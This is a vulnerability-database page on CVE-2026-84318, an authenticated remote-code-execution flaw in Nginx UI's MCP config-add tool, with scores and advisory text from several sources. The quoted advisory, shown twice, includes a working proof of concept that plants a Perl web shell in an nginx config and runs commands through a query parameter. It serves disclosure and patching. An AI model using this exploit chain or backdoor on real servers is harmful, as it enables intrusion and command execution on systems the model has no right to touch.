Every CVE Search/ Get API key

CVE-2026-84318

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

8.8 HighFix available

Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.82%Up 0.2 points since Oct 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.

Record
CVE-2026-84318
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693
Updated
2026-11-02
EUVDEUVD-2026-97908 8.8

Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.

Record
EUVD-2026-97908
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-9jww-cxg5-rj9m 8.8

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

Summary

The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.

Details

api/config/add.go (line 46) calls config.ValidateConfigFile before writing:

err = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist
if err != nil {
    cosy.ErrHandler(c, err)
    return
}

mcp/config/config_add.go (line 79) omits that call entirely and writes directly:

err = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload)               // reload triggered immediately

config.ValidateConfigFile runs two checks:

  • ValidateConfigContent — rejects control characters, enforces encoding.
  • ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perl_modules, perl_require, perl_set, js_import, js_set, js_content, load_module (restricted modules), user root, and others.

Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly — only config_add.go is affected.

The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.

PoC

1 — Control: confirm REST API blocks the payload

POST /api/configs
Authorization: <token>

{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }

Response:

HTTP 500  scope=config  code=40017
message: file content contains restricted nginx directive: {0}

ValidateConfigDirectives rejects perl — the REST API is working as intended.

2 — Open MCP SSE session

GET /mcp
Authorization: <token>
Accept: text/event-stream

Extract sessionId from the endpoint event.

3 — MCP initialize handshake

POST /mcp_message?sessionId=<id>

{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
  "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }

4 — Call nginx_config_add with the identical blocked payload

POST /mcp_message?sessionId=<id>

{
  "jsonrpc": "2.0", "id": 2, "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "rce_backdoor.conf",
      "base_dir": "conf.d",
      "overwrite": true,
      "content": "server {\n    listen 8888;\n\n    location /rce {\n        perl 'sub {\n            my $r = shift;\n            my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n            $cmd ||= \"id\";\n            $r->send_http_header(\"text/plain\");\n            $r->print(qx($cmd 2>&1));\n            return OK;\n        }';\n    }\n}\n"
    }
  }
}

Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
      }
    ]
  }
}

The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.

5 — Trigger RCE

GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)

Impact

Any authenticated user (valid…

Record
GHSA-9jww-cxg5-rj9m
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693
Updated
2026-11-02
NVD 8.8

Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.

Record
CVE-2026-84318
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693
Updated
2026-11-02
OSV 8.8

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.

Record
CVE-2026-84318
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693
Updated
2026-11-02
OSVGHSA-9jww-cxg5-rj9m 8.8

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

Summary

The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.

Details

api/config/add.go (line 46) calls config.ValidateConfigFile before writing:

err = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist
if err != nil {
    cosy.ErrHandler(c, err)
    return
}

mcp/config/config_add.go (line 79) omits that call entirely and writes directly:

err = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload)               // reload triggered immediately

config.ValidateConfigFile runs two checks:

  • ValidateConfigContent — rejects control characters, enforces encoding.
  • ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perl_modules, perl_require, perl_set, js_import, js_set, js_content, load_module (restricted modules), user root, and others.

Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly — only config_add.go is affected.

The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.

PoC

1 — Control: confirm REST API blocks the payload

POST /api/configs
Authorization: <token>

{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }

Response:

HTTP 500  scope=config  code=40017
message: file content contains restricted nginx directive: {0}

ValidateConfigDirectives rejects perl — the REST API is working as intended.

2 — Open MCP SSE session

GET /mcp
Authorization: <token>
Accept: text/event-stream

Extract sessionId from the endpoint event.

3 — MCP initialize handshake

POST /mcp_message?sessionId=<id>

{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
  "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }

4 — Call nginx_config_add with the identical blocked payload

POST /mcp_message?sessionId=<id>

{
  "jsonrpc": "2.0", "id": 2, "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "rce_backdoor.conf",
      "base_dir": "conf.d",
      "overwrite": true,
      "content": "server {\n    listen 8888;\n\n    location /rce {\n        perl 'sub {\n            my $r = shift;\n            my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n            $cmd ||= \"id\";\n            $r->send_http_header(\"text/plain\");\n            $r->print(qx($cmd 2>&1));\n            return OK;\n        }';\n    }\n}\n"
    }
  }
}

Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
      }
    ]
  }
}

The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.

5 — Trigger RCE

GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)

Impact

Any authenticated user (valid…

Record
GHSA-9jww-cxg5-rj9m
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693
Updated
2026-11-02
OSVGO-2026-6781 No score

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE in github.com/0xJacky/Nginx-UI

Nginx UI: MCP nginx_config_add Bypasses Directive Validation — Authenticated RCE in github.com/0xJacky/Nginx-UI

Record
GO-2026-6781
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/0xJacky/Nginx-UI
Go
1.9.10-0.20250506154222-1330888280a2 up to 1.9.10-0.20260703131214-23d1934099b0
1.9.10-0.20260703131214-23d1934099b0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-84318 is a high vulnerability (CVSS 8.8) in 0xjacky Nginx-ui, published October 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.82%, the 57th percentile. Fixed in github.com/0xJacky/Nginx-UI 1.9.10-0.20260703131214-23d1934099b0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open